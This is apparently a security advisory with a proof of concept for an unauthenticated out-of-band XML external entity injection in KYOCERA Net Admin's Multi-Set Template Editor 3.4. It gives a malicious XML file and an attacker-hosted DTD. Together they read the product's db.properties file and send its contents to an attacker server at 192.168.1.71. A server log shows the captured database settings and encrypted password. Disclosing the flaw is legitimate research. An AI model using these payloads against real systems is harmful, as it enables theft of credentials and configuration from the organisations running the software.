KYOCERA Multi-Set Template Editor 3.4 Out-Of-Band XML External Entity Injection

### Summary KYOCERA Net Admin is Kyocera's unified device management software that uses a web-based platform to give network administrators easy and uncomplicated control to handle a fleet for up to 10,000 devices. Tasks that used to require multiple programs or walking to each printer can now be accomplished in a single, fast and modern environment. ### Description KYOCERA Multi-Set Template Editor (part of Net Admin) suffers from an unauthenticated XML External Entity (XXE) injection vulnerability using the DTD parameter entities technique resulting in disclosure and retrieval of arbitrary data from the affected node via out-of-band (OOB) channel attack. The vulnerability is triggered when input passed to the Multi-Set Template Editor (kmmted.exe) called by the ActiveX DLL MultisetTemplateEditorActiveXComponent.dll is not sanitized while parsing a 5.x Multi-Set template XML file. ### Vendor KYOCERA Corporation - https://global.kyocera.com ### Affected Version 3.4.0906 ### Tested On * Microsoft Windows 7 Professional SP1 (EN) * Apache Tomcat/8.5.15 ### PoC Malicious.xml: ``` <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ZSL [ <!ENTITY % remote SYSTEM "http://192.168.1.71:7777/xxe.xml"> %remote; %root; %oob;]> ``` Attacker's xxe.xml: ``` <!ENTITY % fetch SYSTEM "file:///C:\Program Files\Kyocera\NetAdmin\Admin\conf\db.properties"> <!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://192.168.1.71:7777/?%fetch;'> "> ``` Data retrieval: ``` lqwrm@metalgear:~$ python -m SimpleHTTPServer 7777 Serving HTTP on 0.0.0.0 port 7777 ... 192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /xxe.xml HTTP/1.1" 200 - 192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /?db_host=localhost%0D%0Adb_port=5432%0D%0Adb_name=KNETADMINDB%0D%0Adb_driver=pgsql%0D%0Adb_user=postgres%0D%0Adb_password=ENC(4YMilUUDS80QB5rD+Rhn1z89rNXQXxcw)%0D%0Adb_driverClassName=org.postgresql.Driver%0D%0Adb_url=jdbc:postgresql://localhost/KNETADMINDB%0D%0Adb_initialSize=1%0D%0Adb_maxActive=20%0D%0Adb_dialect=org.hibernate.dialect.PostgreSQLDialect HTTP/1.1" 200 - ```